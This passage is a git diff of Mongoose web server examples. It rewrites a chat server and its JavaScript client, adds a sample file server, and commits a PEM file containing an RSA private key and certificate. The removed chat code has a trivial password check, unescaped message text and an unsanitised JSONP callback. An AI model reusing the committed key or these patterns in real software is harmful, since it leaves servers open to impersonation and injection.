dh69F6VHwvGN4lYx8cDIDUWokpHwz5iBG9qnKSaDK3aLP33+OorasK/cFt/u5I0Z
|
||||||
|
cTNTLuaauBIm0h3lcmj1lQoBDXANZuG3kLoyNUkgZCzn5oKcP0rMs8k4F5vpDnY+
|
||||||
|
7ystxG17Hhj7RydOKGe6sKJdTRa66h8DvOx1h8ckK+7ieEwR9+4C+0AnYx7DnTfe
|
||||||
|
GpcRFFk0X5s2RV1ZbE56uQwZ5xobaom6VAvFniN0IhTbUwSpB74gJvuolluoBtkz
|
||||||
|
uLcCAwEAAaOBtjCBszAdBgNVHQ4EFgQUwvetHY2/J2F788UvFPADTlaUS10wgYMG
|
||||||
|
A1UdIwR8MHqAFML3rR2Nvydhe/PFLxTwA05WlEtdoVekVTBTMRQwEgYDVQQDEwtj
|
||||||
|
ZXNhbnRhLmNvbTEdMBsGA1UEChMUQ2VzYW50YSBTb2Z0d2FyZSBMdGQxCzAJBgNV
|
||||||
|
BAYTAklFMQ8wDQYDVQQHEwZEdWJsaW6CCQDNcgh/AkeGfjAMBgNVHRMEBTADAQH/
|
||||||
|
MA0GCSqGSIb3DQEBBQUAA4IBAQDA3QTlZ2aUe4IIDU+yZmu3XRxJ4FGpOlC0nD1j
|
||||||
|
uwHWDaHfr0WMDjwSoEHbhsc0tapXOpG+hFImHemDS82SuC2c8lNKEJeXgdF3Rqeo
|
||||||
|
aIB8sklgHsJG1DoCwC5TIMaccmbALWctouELGFb8aDF+dczKaaDTW+/dgR47GvD5
|
||||||
|
NBTka2A56U3emmXRpOOtzOz/68lxgACXc+M3yrxbYt9a95rl6wwzNlLHDwPzqhzd
|
||||||
|
ayQ9Q8wmZpWZK1oc8oKKuEXA3zG6jJkrmC8VD5j0WRLgC7SV/zlaAUR/zEisstrh
|
||||||
|
ZVMiJ0NoZmAPVRm0MyBHtBHJFcn/z/FlhqCBLsmDxJ/aOEMT
|
||||||
|
-----END CERTIFICATE-----
|
||||||
+9
-379
@@ -1,385 +1,15 @@
|
|||||||
// This file is part of the Mongoose project, http://code.google.com/p/mongoose
|
|
||||||
// It implements an online chat server. For more details,
|
|
||||||
// see the documentation on the project web site.
|
|
||||||
// To test the application,
|
|
||||||
// 1. type "make" in the directory where this file lives
|
|
||||||
// 2. point your browser to http://127.0.0.1:8081
|
|
||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <assert.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <time.h>
|
|
||||||
#include <stdarg.h>
|
|
||||||
#include <pthread.h>
|
|
||||||
|
|
||||||
#include "mongoose.h"
|
#include "mongoose.h"
|
||||||
|
|
||||||
#define MAX_USER_LEN 20
|
|
||||||
#define MAX_MESSAGE_LEN 100
|
|
||||||
#define MAX_MESSAGES 5
|
|
||||||
#define MAX_SESSIONS 2
|
|
||||||
#define SESSION_TTL 120
|
|
||||||
|
|
||||||
static const char *authorize_url = "/authorize";
|
|
||||||
static const char *login_url = "/login.html";
|
|
||||||
static const char *ajax_reply_start =
|
|
||||||
"HTTP/1.1 200 OK\r\n"
|
|
||||||
"Cache: no-cache\r\n"
|
|
||||||
"Content-Type: application/x-javascript\r\n"
|
|
||||||
"\r\n";
|
|
||||||
|
|
||||||
// Describes single message sent to a chat. If user is empty (0 length),
|
|
||||||
// the message is then originated from the server itself.
|
|
||||||
struct message {
|
|
||||||
long id; // Message ID
|
|
||||||
char user[MAX_USER_LEN]; // User that have sent the message
|
|
||||||
char text[MAX_MESSAGE_LEN]; // Message text
|
|
||||||
time_t timestamp; // Message timestamp, UTC
|
|
||||||
};
|
|
||||||
|
|
||||||
// Describes web session.
|
|
||||||
struct session {
|
|
||||||
char session_id[33]; // Session ID, must be unique
|
|
||||||
char random[20]; // Random data used for extra user validation
|
|
||||||
char user[MAX_USER_LEN]; // Authenticated user
|
|
||||||
time_t expire; // Expiration timestamp, UTC
|
|
||||||
};
|
|
||||||
|
|
||||||
static struct message messages[MAX_MESSAGES]; // Ringbuffer for messages
|
|
||||||
static struct session sessions[MAX_SESSIONS]; // Current sessions
|
|
||||||
static long last_message_id;
|
|
||||||
|
|
||||||
// Protects messages, sessions, last_message_id
|
|
||||||
static pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER;
|
|
||||||
|
|
||||||
// Get session object for the connection. Caller must hold the lock.
|
|
||||||
static struct session *get_session(const struct mg_connection *conn) {
|
|
||||||
int i;
|
|
||||||
char session_id[33];
|
|
||||||
time_t now = time(NULL);
|
|
||||||
mg_get_cookie(conn, "session", session_id, sizeof(session_id));
|
|
||||||
for (i = 0; i < MAX_SESSIONS; i++) {
|
|
||||||
if (sessions[i].expire != 0 &&
|
|
||||||
sessions[i].expire > now &&
|
|
||||||
strcmp(sessions[i].session_id, session_id) == 0) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return i == MAX_SESSIONS ? NULL : &sessions[i];
|
|
||||||
}
|
|
||||||
|
|
||||||
static void get_qsvar(const struct mg_request_info *request_info,
|
|
||||||
const char *name, char *dst, size_t dst_len) {
|
|
||||||
const char *qs = request_info->query_string;
|
|
||||||
mg_get_var(qs, strlen(qs == NULL ? "" : qs), name, dst, dst_len);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Get a get of messages with IDs greater than last_id and transform them
|
|
||||||
// into a JSON string. Return that string to the caller. The string is
|
|
||||||
// dynamically allocated, caller must free it. If there are no messages,
|
|
||||||
// NULL is returned.
|
|
||||||
static char *messages_to_json(long last_id) {
|
|
||||||
const struct message *message;
|
|
||||||
int max_msgs, len;
|
|
||||||
char buf[sizeof(messages)]; // Large enough to hold all messages
|
|
||||||
|
|
||||||
// Read-lock the ringbuffer. Loop over all messages, making a JSON string.
|
|
||||||
pthread_rwlock_rdlock(&rwlock);
|
|
||||||
len = 0;
|
|
||||||
max_msgs = sizeof(messages) / sizeof(messages[0]);
|
|
||||||
// If client is too far behind, return all messages.
|
|
||||||
if (last_message_id - last_id > max_msgs) {
|
|
||||||
last_id = last_message_id - max_msgs;
|
|
||||||
}
|
|
||||||
for (; last_id < last_message_id; last_id++) {
|
|
||||||
message = &messages[last_id % max_msgs];
|
|
||||||
if (message->timestamp == 0) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
// buf is allocated on stack and hopefully is large enough to hold all
|
|
||||||
// messages (it may be too small if the ringbuffer is full and all
|
|
||||||
// messages are large. in this case asserts will trigger).
|
|
||||||
len += snprintf(buf + len, sizeof(buf) - len,
|
|
||||||
"{user: '%s', text: '%s', timestamp: %lu, id: %lu},",
|
|
||||||
message->user, message->text, message->timestamp, message->id);
|
|
||||||
assert(len > 0);
|
|
||||||
assert((size_t) len < sizeof(buf));
|
|
||||||
}
|
|
||||||
pthread_rwlock_unlock(&rwlock);
|
|
||||||
|
|
||||||
return len == 0 ? NULL : strdup(buf);
|
|
||||||
}
|
|
||||||
|
|
||||||
// If "callback" param is present in query string, this is JSONP call.
|
|
||||||
// Return 1 in this case, or 0 if "callback" is not specified.
|
|
||||||
// Wrap an output in Javascript function call.
|
|
||||||
static int handle_jsonp(struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *request_info) {
|
|
||||||
char cb[64];
|
|
||||||
|
|
||||||
get_qsvar(request_info, "callback", cb, sizeof(cb));
|
|
||||||
if (cb[0] != '\0') {
|
|
||||||
mg_printf(conn, "%s(", cb);
|
|
||||||
}
|
|
||||||
|
|
||||||
return cb[0] == '\0' ? 0 : 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// A handler for the /ajax/get_messages endpoint.
|
|
||||||
// Return a list of messages with ID greater than requested.
|
|
||||||
static void ajax_get_messages(struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *request_info) {
|
|
||||||
char last_id[32], *json;
|
|
||||||
int is_jsonp;
|
|
||||||
|
|
||||||
mg_printf(conn, "%s", ajax_reply_start);
|
|
||||||
is_jsonp = handle_jsonp(conn, request_info);
|
|
||||||
|
|
||||||
get_qsvar(request_info, "last_id", last_id, sizeof(last_id));
|
|
||||||
if ((json = messages_to_json(strtoul(last_id, NULL, 10))) != NULL) {
|
|
||||||
mg_printf(conn, "[%s]", json);
|
|
||||||
free(json);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (is_jsonp) {
|
|
||||||
mg_printf(conn, "%s", ")");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Allocate new message. Caller must hold the lock.
|
|
||||||
static struct message *new_message(void) {
|
|
||||||
static int size = sizeof(messages) / sizeof(messages[0]);
|
|
||||||
struct message *message = &messages[last_message_id % size];
|
|
||||||
message->id = last_message_id++;
|
|
||||||
message->timestamp = time(0);
|
|
||||||
return message;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void my_strlcpy(char *dst, const char *src, size_t len) {
|
|
||||||
strncpy(dst, src, len);
|
|
||||||
dst[len - 1] = '\0';
|
|
||||||
}
|
|
||||||
|
|
||||||
// A handler for the /ajax/send_message endpoint.
|
|
||||||
static void ajax_send_message(struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *request_info) {
|
|
||||||
struct message *message;
|
|
||||||
struct session *session;
|
|
||||||
char text[sizeof(message->text) - 1];
|
|
||||||
int is_jsonp;
|
|
||||||
|
|
||||||
mg_printf(conn, "%s", ajax_reply_start);
|
|
||||||
is_jsonp = handle_jsonp(conn, request_info);
|
|
||||||
|
|
||||||
get_qsvar(request_info, "text", text, sizeof(text));
|
|
||||||
if (text[0] != '\0') {
|
|
||||||
// We have a message to store. Write-lock the ringbuffer,
|
|
||||||
// grab the next message and copy data into it.
|
|
||||||
pthread_rwlock_wrlock(&rwlock);
|
|
||||||
message = new_message();
|
|
||||||
// TODO(lsm): JSON-encode all text strings
|
|
||||||
session = get_session(conn);
|
|
||||||
assert(session != NULL);
|
|
||||||
my_strlcpy(message->text, text, sizeof(text));
|
|
||||||
my_strlcpy(message->user, session->user, sizeof(message->user));
|
|
||||||
pthread_rwlock_unlock(&rwlock);
|
|
||||||
}
|
|
||||||
|
|
||||||
mg_printf(conn, "%s", text[0] == '\0' ? "false" : "true");
|
|
||||||
|
|
||||||
if (is_jsonp) {
|
|
||||||
mg_printf(conn, "%s", ")");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect user to the login form. In the cookie, store the original URL
|
|
||||||
// we came from, so that after the authorization we could redirect back.
|
|
||||||
static void redirect_to_login(struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *request_info) {
|
|
||||||
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
|
|
||||||
"Set-Cookie: original_url=%s\r\n"
|
|
||||||
"Location: %s\r\n\r\n",
|
|
||||||
request_info->uri, login_url);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Return 1 if username/password is allowed, 0 otherwise.
|
|
||||||
static int check_password(const char *user, const char *password) {
|
|
||||||
// In production environment we should ask an authentication system
|
|
||||||
// to authenticate the user.
|
|
||||||
// Here however we do trivial check that user and password are not empty
|
|
||||||
return (user[0] && password[0]);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Allocate new session object
|
|
||||||
static struct session *new_session(void) {
|
|
||||||
int i;
|
|
||||||
time_t now = time(NULL);
|
|
||||||
pthread_rwlock_wrlock(&rwlock);
|
|
||||||
for (i = 0; i < MAX_SESSIONS; i++) {
|
|
||||||
if (sessions[i].expire == 0 || sessions[i].expire < now) {
|
|
||||||
sessions[i].expire = time(0) + SESSION_TTL;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
pthread_rwlock_unlock(&rwlock);
|
|
||||||
return i == MAX_SESSIONS ? NULL : &sessions[i];
|
|
||||||
}
|
|
||||||
|
|
||||||
// Generate session ID. buf must be 33 bytes in size.
|
|
||||||
// Note that it is easy to steal session cookies by sniffing traffic.
|
|
||||||
// This is why all communication must be SSL-ed.
|
|
||||||
static void generate_session_id(char *buf, const char *random,
|
|
||||||
const char *user) {
|
|
||||||
mg_md5(buf, random, user, NULL);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void send_server_message(const char *fmt, ...) {
|
|
||||||
va_list ap;
|
|
||||||
struct message *message;
|
|
||||||
|
|
||||||
pthread_rwlock_wrlock(&rwlock);
|
|
||||||
message = new_message();
|
|
||||||
message->user[0] = '\0'; // Empty user indicates server message
|
|
||||||
va_start(ap, fmt);
|
|
||||||
vsnprintf(message->text, sizeof(message->text), fmt, ap);
|
|
||||||
va_end(ap);
|
|
||||||
|
|
||||||
pthread_rwlock_unlock(&rwlock);
|
|
||||||
}
|
|
||||||
|
|
||||||
// A handler for the /authorize endpoint.
|
|
||||||
// Login page form sends user name and password to this endpoint.
|
|
||||||
static void authorize(struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *request_info) {
|
|
||||||
char user[MAX_USER_LEN], password[MAX_USER_LEN];
|
|
||||||
struct session *session;
|
|
||||||
|
|
||||||
// Fetch user name and password.
|
|
||||||
get_qsvar(request_info, "user", user, sizeof(user));
|
|
||||||
get_qsvar(request_info, "password", password, sizeof(password));
|
|
||||||
|
|
||||||
if (check_password(user, password) && (session = new_session()) != NULL) {
|
|
||||||
// Authentication success:
|
|
||||||
// 1. create new session
|
|
||||||
// 2. set session ID token in the cookie
|
|
||||||
// 3. remove original_url from the cookie - not needed anymore
|
|
||||||
// 4. redirect client back to the original URL
|
|
||||||
//
|
|
||||||
// The most secure way is to stay HTTPS all the time. However, just to
|
|
||||||
// show the technique, we redirect to HTTP after the successful
|
|
||||||
// authentication. The danger of doing this is that session cookie can
|
|
||||||
// be stolen and an attacker may impersonate the user.
|
|
||||||
// Secure application must use HTTPS all the time.
|
|
||||||
my_strlcpy(session->user, user, sizeof(session->user));
|
|
||||||
snprintf(session->random, sizeof(session->random), "%d", rand());
|
|
||||||
generate_session_id(session->session_id, session->random, session->user);
|
|
||||||
send_server_message("<%s> joined", session->user);
|
|
||||||
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
|
|
||||||
"Set-Cookie: session=%s; max-age=3600; http-only\r\n" // Session ID
|
|
||||||
"Set-Cookie: user=%s\r\n" // Set user, needed by Javascript code
|
|
||||||
"Set-Cookie: original_url=/; max-age=0\r\n" // Delete original_url
|
|
||||||
"Location: /\r\n\r\n",
|
|
||||||
session->session_id, session->user);
|
|
||||||
} else {
|
|
||||||
// Authentication failure, redirect to login.
|
|
||||||
redirect_to_login(conn, request_info);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Return 1 if request is authorized, 0 otherwise.
|
|
||||||
static int is_authorized(const struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *request_info) {
|
|
||||||
struct session *session;
|
|
||||||
char valid_id[33];
|
|
||||||
int authorized = 0;
|
|
||||||
|
|
||||||
// Always authorize accesses to login page and to authorize URI
|
|
||||||
if (!strcmp(request_info->uri, login_url) ||
|
|
||||||
!strcmp(request_info->uri, authorize_url)) {
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
pthread_rwlock_rdlock(&rwlock);
|
|
||||||
if ((session = get_session(conn)) != NULL) {
|
|
||||||
generate_session_id(valid_id, session->random, session->user);
|
|
||||||
if (strcmp(valid_id, session->session_id) == 0) {
|
|
||||||
session->expire = time(0) + SESSION_TTL;
|
|
||||||
authorized = 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
pthread_rwlock_unlock(&rwlock);
|
|
||||||
|
|
||||||
return authorized;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void redirect_to_ssl(struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *request_info) {
|
|
||||||
const char *p, *host = mg_get_header(conn, "Host");
|
|
||||||
if (host != NULL && (p = strchr(host, ':')) != NULL) {
|
|
||||||
mg_printf(conn, "HTTP/1.1 302 Found\r\n"
|
|
||||||
"Location: https://%.*s:8082/%s:8082\r\n\r\n",
|
|
||||||
(int) (p - host), host, request_info->uri);
|
|
||||||
} else {
|
|
||||||
mg_printf(conn, "%s", "HTTP/1.1 500 Error\r\n\r\nHost: header is not set");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void *event_handler(enum mg_event event,
|
|
||||||
struct mg_connection *conn) {
|
|
||||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
|
||||||
void *processed = "yes";
|
|
||||||
|
|
||||||
if (event == MG_NEW_REQUEST) {
|
|
||||||
if (!request_info->is_ssl) {
|
|
||||||
redirect_to_ssl(conn, request_info);
|
|
||||||
} else if (!is_authorized(conn, request_info)) {
|
|
||||||
redirect_to_login(conn, request_info);
|
|
||||||
} else if (strcmp(request_info->uri, authorize_url) == 0) {
|
|
||||||
authorize(conn, request_info);
|
|
||||||
} else if (strcmp(request_info->uri, "/ajax/get_messages") == 0) {
|
|
||||||
ajax_get_messages(conn, request_info);
|
|
||||||
} else if (strcmp(request_info->uri, "/ajax/send_message") == 0) {
|
|
||||||
ajax_send_message(conn, request_info);
|
|
||||||
} else {
|
|
||||||
// No suitable handler found, mark as not processed. Mongoose will
|
|
||||||
// try to serve the request.
|
|
||||||
processed = NULL;
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
processed = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
return processed;
|
|
||||||
}
|
|
||||||
|
|
||||||
static const char *options[] = {
|
|
||||||
"document_root", "html",
|
|
||||||
"listening_ports", "8081,8082s",
|
|
||||||
"ssl_certificate", "ssl_cert.pem",
|
|
||||||
"num_threads", "5",
|
|
||||||
NULL
|
|
||||||
};
|
|
||||||
|
|
||||||
int main(void) {
|
int main(void) {
|
||||||
struct mg_context *ctx;
|
struct mg_server *server = mg_create_server(NULL);
|
||||||
|
mg_set_option(server, "listening_port", "8080");
|
||||||
|
mg_set_option(server, "document_root", "chat_html_root");
|
||||||
|
|
||||||
// Initialize random number generator. It will be used later on for
|
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||||
// the session identifier creation.
|
for (;;) {
|
||||||
srand((unsigned) time(0));
|
mg_poll_server(server, 1000);
|
||||||
|
}
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
|
||||||
// Setup and start Mongoose
|
return 0;
|
||||||
ctx = mg_start(&event_handler, NULL, options);
|
|
||||||
assert(ctx != NULL);
|
|
||||||
|
|
||||||
// Wait until enter is pressed, then exit
|
|
||||||
printf("Chat server started on ports %s, press enter to quit.\n",
|
|
||||||
mg_get_option(ctx, "listening_ports"));
|
|
||||||
getchar();
|
|
||||||
mg_stop(ctx);
|
|
||||||
printf("%s\n", "Chat server stopped.");
|
|
||||||
|
|
||||||
return EXIT_SUCCESS;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// vim:ts=2:sw=2:et
|
|
||||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -3,7 +3,7 @@
|
|||||||
var chat = {
|
var chat = {
|
||||||
// Backend URL, string.
|
// Backend URL, string.
|
||||||
// 'http://backend.address.com' or '' if backend is the same as frontend
|
// 'http://backend.address.com' or '' if backend is the same as frontend
|
||||||
backendUrl: '',
|
backendUrl: 'api.lp',
|
||||||
maxVisibleMessages: 10,
|
maxVisibleMessages: 10,
|
||||||
errorMessageFadeOutTimeoutMs: 2000,
|
errorMessageFadeOutTimeoutMs: 2000,
|
||||||
errorMessageFadeOutTimer: null,
|
errorMessageFadeOutTimer: null,
|
||||||
@@ -16,6 +16,11 @@ chat.normalizeText = function(text) {
|
|||||||
};
|
};
|
||||||
|
|
||||||
chat.refresh = function(data) {
|
chat.refresh = function(data) {
|
||||||
|
|
||||||
|
if (data === undefined) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
$.each(data, function(index, entry) {
|
$.each(data, function(index, entry) {
|
||||||
var row = $('<div>').addClass('message-row').appendTo('#mml');
|
var row = $('<div>').addClass('message-row').appendTo('#mml');
|
||||||
var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString();
|
var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString();
|
||||||
@@ -42,16 +47,16 @@ chat.refresh = function(data) {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
chat.getMessages = function() {
|
chat.getMessages = function(enter_loop) {
|
||||||
$.ajax({
|
$.ajax({
|
||||||
dataType: 'jsonp',
|
data: {last_id: chat.lastMessageId, cmd: 'get_messages'},
|
||||||
url: chat.backendUrl + '/ajax/get_messages',
|
|
||||||
data: {last_id: chat.lastMessageId},
|
|
||||||
success: chat.refresh,
|
success: chat.refresh,
|
||||||
error: function() {
|
error: function() {
|
||||||
},
|
},
|
||||||
});
|
});
|
||||||
window.setTimeout(chat.getMessages, chat.getMessagesIntervalMs);
|
if (enter_loop) {
|
||||||
|
window.setTimeout('chat.getMessages(true)', chat.getMessagesIntervalMs);
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
chat.handleMenuItemClick = function(ev) {
|
chat.handleMenuItemClick = function(ev) {
|
||||||
@@ -75,13 +80,11 @@ chat.handleMessageInput = function(ev) {
|
|||||||
return;
|
return;
|
||||||
//input.disabled = true;
|
//input.disabled = true;
|
||||||
$.ajax({
|
$.ajax({
|
||||||
dataType: 'jsonp',
|
data: { text: input.value, cmd: 'send_message' },
|
||||||
url: chat.backendUrl + '/ajax/send_message',
|
|
||||||
data: {text: input.value},
|
|
||||||
success: function(ev) {
|
success: function(ev) {
|
||||||
input.value = '';
|
input.value = '';
|
||||||
input.disabled = false;
|
input.disabled = false;
|
||||||
chat.getMessages();
|
chat.getMessages(false);
|
||||||
},
|
},
|
||||||
error: function(ev) {
|
error: function(ev) {
|
||||||
chat.showError('Error sending message');
|
chat.showError('Error sending message');
|
||||||
@@ -91,9 +94,13 @@ chat.handleMessageInput = function(ev) {
|
|||||||
};
|
};
|
||||||
|
|
||||||
$(document).ready(function() {
|
$(document).ready(function() {
|
||||||
|
$.ajaxSetup({
|
||||||
|
dataType: 'json',
|
||||||
|
url: chat.backendUrl
|
||||||
|
});
|
||||||
$('.menu-item').click(chat.handleMenuItemClick);
|
$('.menu-item').click(chat.handleMenuItemClick);
|
||||||
$('.message-input').keypress(chat.handleMessageInput);
|
$('.message-input').keypress(chat.handleMessageInput);
|
||||||
chat.getMessages();
|
chat.getMessages(true);
|
||||||
});
|
});
|
||||||
|
|
||||||
// vim:ts=2:sw=2:et
|
// vim:ts=2:sw=2:et
|
||||||
File renamed without changes.
@@ -0,0 +1,46 @@
|
|||||||
|
-----BEGIN RSA PRIVATE KEY-----
|
||||||
|
MIIEowIBAAKCAQEA4+LVrSV4kvgr2AM5NSIewSfGwK5fXUOoYQ4vpjq2+H2hhOPP
|
||||||
|
0WVyHkLWZXYek8ZmCqPFBvavzO9bveBprQIDTHexj83paaoV8IMugzymeWVONEwU
|
||||||
|
8E9S6sGihCF01yOO5g4X7lmX7mypUDNJHZd/0SuSGezwSd+c41pY/CWmCW+61hls
|
||||||
|
HjKdBp3Nked/u2aJ619D8NYPeu03V89P5x5hWrOWLSfmpd8pQ5tceVO56XjgmZLr
|
||||||
|
FwUTK5Dq/3hUv1lyxHoSWGp5sQirZ5artLgkqCI+K+dwc2YZeeJBACllSqVuzJYh
|
||||||
|
HSpnmKUwMXykJfKtTckfLoJX2VGgbqJWSZFkowIDAQABAoIBAHAKDR30p0QyyXOJ
|
||||||
|
mi26Wb6DbN88m9xBsF4PWHP0uBKRycCJNJpxstqX58q4eS4URAUFIZBb5nDuWX+P
|
||||||
|
/sS1kaOd0WmvRgvSOLkn9c1GG17h5MInib/gcBbFHr6xqD1B2TbYRQHFgMITIGcy
|
||||||
|
38axvoC7WDhw2m6nhv3sZIWLiQdnvsUWF+mXQoRwyK9Me/3/N9atRELPd9rvbwkz
|
||||||
|
ITyZQPE7IScSwVClspSBQMdJj4Bak8sQ8uKpxmIqpRGe9bqz2IO2hxkW9RiAT2CE
|
||||||
|
4KZ1eqSM8q+VUlFfEo7IJ1lh8Anuo/h/qVnN2JTyCWoAW/YLIWUreLAOVCm3feV/
|
||||||
|
fFO5sQkCgYEA8yzhvPegx1cPgtvEaAVJKbI9WBVCT7qAroDrfxBS3m37jHip8SDr
|
||||||
|
4qfh+5OWG6J0hXEKCf1FbhDCDQOf6sQCMlBgR5BU/ALqiFWfEp+ysC10VtdCpEhA
|
||||||
|
PgldtzLhXyApw536y05Ak3Yucii70m80bsXZR2alGWTfJ64e511hSM0CgYEA7+eI
|
||||||
|
QXh9kuKwM143Bk7HWvLNJ71TAb+mp0OkOjmzMe2duoGi0DzTBlSh6AYdSYkMYSbc
|
||||||
|
PW8bF88bTiq4rak9PuJGiFr7Iq5SMccpaZ+JIPnF2S8gdNB1hgfRsUDNHhb691/u
|
||||||
|
3Q/7gOUpiWGrP5uP55/yuFyKkrp+gPGKLhrFIy8CgYA096q34WxI30LGqx3t1nDo
|
||||||
|
PyWzgPXvrd0HpZcmFyUlw+kN4N6LYjNfLFhB1xTUMh+VTVj1chBkeAv8j7SOi2E7
|
||||||
|
GlzOWbbZKb1yMswyX0ypqUz0+XBPnlk36gxash96++N883VEQWg5dn2Jaiv3Gzfd
|
||||||
|
hQTd05LUpC8jUn7ywFlHZQKBgE3agWldxMKqNiw1Yv31CtUE/nbrBckHfPnDBcSv
|
||||||
|
fOuzBQDFmSSi2IixZml5sn9urknI5qg5Kj2rxFy1mIEi7vE9VU5i2CUFFT96NoJE
|
||||||
|
d6fv5rj4hjvieoEogHBZazdclc05oLa0vRWzSKuAuqZFwYmVaptRzNaZFvyZZhJY
|
||||||
|
NamZAoGBANL8Jqht1s1qcLuBis1jZdjzUuF3xNMuxwqszD0zFZFAIUN097460zw+
|
||||||
|
8LIeZgVMJOCmbVHja/RII9PI4vQ7h5rhTmeFWS80QMe22C1yukqEqljYO0POhxsu
|
||||||
|
sm3plGS3rfGkMp1URDgnJL6m/y8gC4+/O6NIEoVaHpraW8//qCD6
|
||||||
|
-----END RSA PRIVATE KEY-----
|
||||||
|
-----BEGIN CERTIFICATE-----
|
||||||
|
MIIDEjCCAfoCBRQDhmJSMA0GCSqGSIb3DQEBBQUAMFMxFDASBgNVBAMTC2Nlc2Fu
|
||||||
|
dGEuY29tMR0wGwYDVQQKExRDZXNhbnRhIFNvZnR3YXJlIEx0ZDELMAkGA1UEBhMC
|
||||||
|
SUUxDzANBgNVBAcTBkR1YmxpbjAeFw0xNDA2MjcxMDUwNTFaFw0yNDA2MjQxMDUw
|
||||||
|
NTFaMEcxFTATBgNVBAMTDDE5Mi4xNjguMS4yODEQMA4GA1UEChMHRm9vK0x0ZDEL
|
||||||
|
MAkGA1UEBhMCSUUxDzANBgNVBAcTBkdhbHdheTCCASIwDQYJKoZIhvcNAQEBBQAD
|
||||||
|
ggEPADCCAQoCggEBAOPi1a0leJL4K9gDOTUiHsEnxsCuX11DqGEOL6Y6tvh9oYTj
|
||||||
|
z9Flch5C1mV2HpPGZgqjxQb2r8zvW73gaa0CA0x3sY/N6WmqFfCDLoM8pnllTjRM
|
||||||
|
FPBPUurBooQhdNcjjuYOF+5Zl+5sqVAzSR2Xf9Erkhns8EnfnONaWPwlpglvutYZ
|
||||||
|
bB4ynQadzZHnf7tmietfQ/DWD3rtN1fPT+ceYVqzli0n5qXfKUObXHlTuel44JmS
|
||||||
|
6xcFEyuQ6v94VL9ZcsR6ElhqebEIq2eWq7S4JKgiPivncHNmGXniQQApZUqlbsyW
|
||||||
|
IR0qZ5ilMDF8pCXyrU3JHy6CV9lRoG6iVkmRZKMCAwEAATANBgkqhkiG9w0BAQUF
|
||||||
|
AAOCAQEAAxJSilcxos3v5aKllKTsx04Q/P39wQ07ywS1Yf9NsA7MlPU++qs3BqJJ
|
||||||
|
kAaCPpfeAl8GjQLh75XV7rLvycvrluthpHzMRZhnbd+DLCt+FrS5zWWhm6M7535V
|
||||||
|
FHGjuW59sAurARgcB530+bh6a0YNhKJbp3Si5ONhQfEuKPf+R6bPA1Slr2k/ts+K
|
||||||
|
GIzwJbNTVRSor/wlb4F0seHFEv2rdtHt1g+VYlFVwBFawIOx3dU7hHxgzeoRYnik
|
||||||
|
RGrPvhqK3u1wQ+2s/m2HPWj8CFjZ8V7f4sYRjLhpsbeJCy4A28nWvl+cCjAhCQKq
|
||||||
|
Rawa0TcZiQtsj0jaTe71jhAMSMC6qw==
|
||||||
|
-----END CERTIFICATE-----
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
switch (ev) {
|
||||||
|
case MG_REQUEST:
|
||||||
|
mg_send_file(conn, "file.c");
|
||||||
|
return MG_MORE; // It is important to return MG_MORE after mg_send_file!
|
||||||
|
case MG_AUTH: return MG_TRUE;
|
||||||
|
default: return MG_FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct mg_server *server = mg_create_server(NULL, ev_handler);
|
||||||
|
mg_set_option(server, "listening_port", "8080");
|
||||||
|
|
||||||
|
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||||
|
for (;;) mg_poll_server(server, 1000);
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,81 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
static int static_value = 123; // Exposed and changeable via the form
|
||||||
|
|
||||||
|
static void print_html_form(struct mg_connection *conn) {
|
||||||
|
mg_send_header(conn, "Content-Type", "text/html");
|
||||||
|
